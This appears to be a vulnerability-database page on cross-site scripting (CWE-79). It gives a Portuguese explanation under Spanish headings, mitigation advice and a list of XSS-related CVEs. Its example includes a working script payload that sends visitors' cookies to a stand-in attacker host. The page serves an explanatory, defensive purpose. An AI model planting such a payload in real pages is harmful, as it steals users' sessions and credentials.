Fallos del tipo CWE-79

28.664 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-1220—FoxyShop < 4.8.2 - Reflected Cross-Site ScriptingEPSS 0.8%CVE-2022-1582—External Links in New Window / New Tab < 1.43 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.8%CVE-2021-1271MEDIUMCisco Web Security Appliance Stored Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2021-21283MEDIUMXSS in Flarum Sticky extension.EPSS 0.8%CVE-2017-9556—Cross-site scripting (XSS) vulnerability in Video Metadata Editor in Synology Video Station before 2.3.0-1435 allows remote authenticated atEPSS 0.8%CVE-2024-42366CRITICALVR Overlay RCEEPSS 0.8%CVE-2024-23786CRITICALCross-site scripting vulnerability in Energy Management Controller with Cloud Services JH-RVB1 /JH-RV11 Ver.B0.1.9.1 and earlier allows a neEPSS 0.8%CVE-2021-26628HIGHMaxBoard XSS and File Upload VulnerabilityEPSS 0.8%CVE-2021-21418MEDIUMPotential XSS injection in the newsletter conditions fieldEPSS 0.8%CVE-2018-5411—Pixar's Tractor software, versions 2.2 and earlier, contains a stored cross-site scripting vulnerabilityEPSS 0.8%CVE-2022-0926HIGHFile upload filter bypass leading to stored XSS in microweber/microweberEPSS 0.8%CVE-2019-3761MEDIUMThe RSA Identity Governance and Lifecycle software and RSA Via Lifecycle and Governance products prior to 7.1.0 P08 contain a stored cross-sEPSS 0.8%CVE-2019-19003MEDIUMABB eSOMS: HTTPOnly flag not setEPSS 0.8%CVE-2022-31191HIGHCross Site Scripting possible in DSpace JSPUI spellcheck and autocomplete toolsEPSS 0.8%CVE-2023-39511MEDIUMStored Cross-Site-Scripting on reports_admin.php device name in CactiEPSS 0.8%CVE-2017-7427MEDIUMiManager - Multiple Reflected Cross-Site Scripting attacksEPSS 0.8%CVE-2021-4176MEDIUMCross-site Scripting (XSS) - Reflected in livehelperchat/livehelperchatEPSS 0.8%CVE-2023-31285MEDIUMAn XSS issue was discovered in Serenity Serene (and StartSharp) before 6.7.0. When users upload temporary files, some specific file endings EPSS 0.8%CVE-2026-70355HIGHMicrosoft SharePoint Server Elevation of Privilege VulnerabilityEPSS 0.8%CVE-2023-1036MEDIUMSourceCodester Dental Clinic Appointment Reservation System POST Parameter signup.php cross site scriptingEPSS 0.8%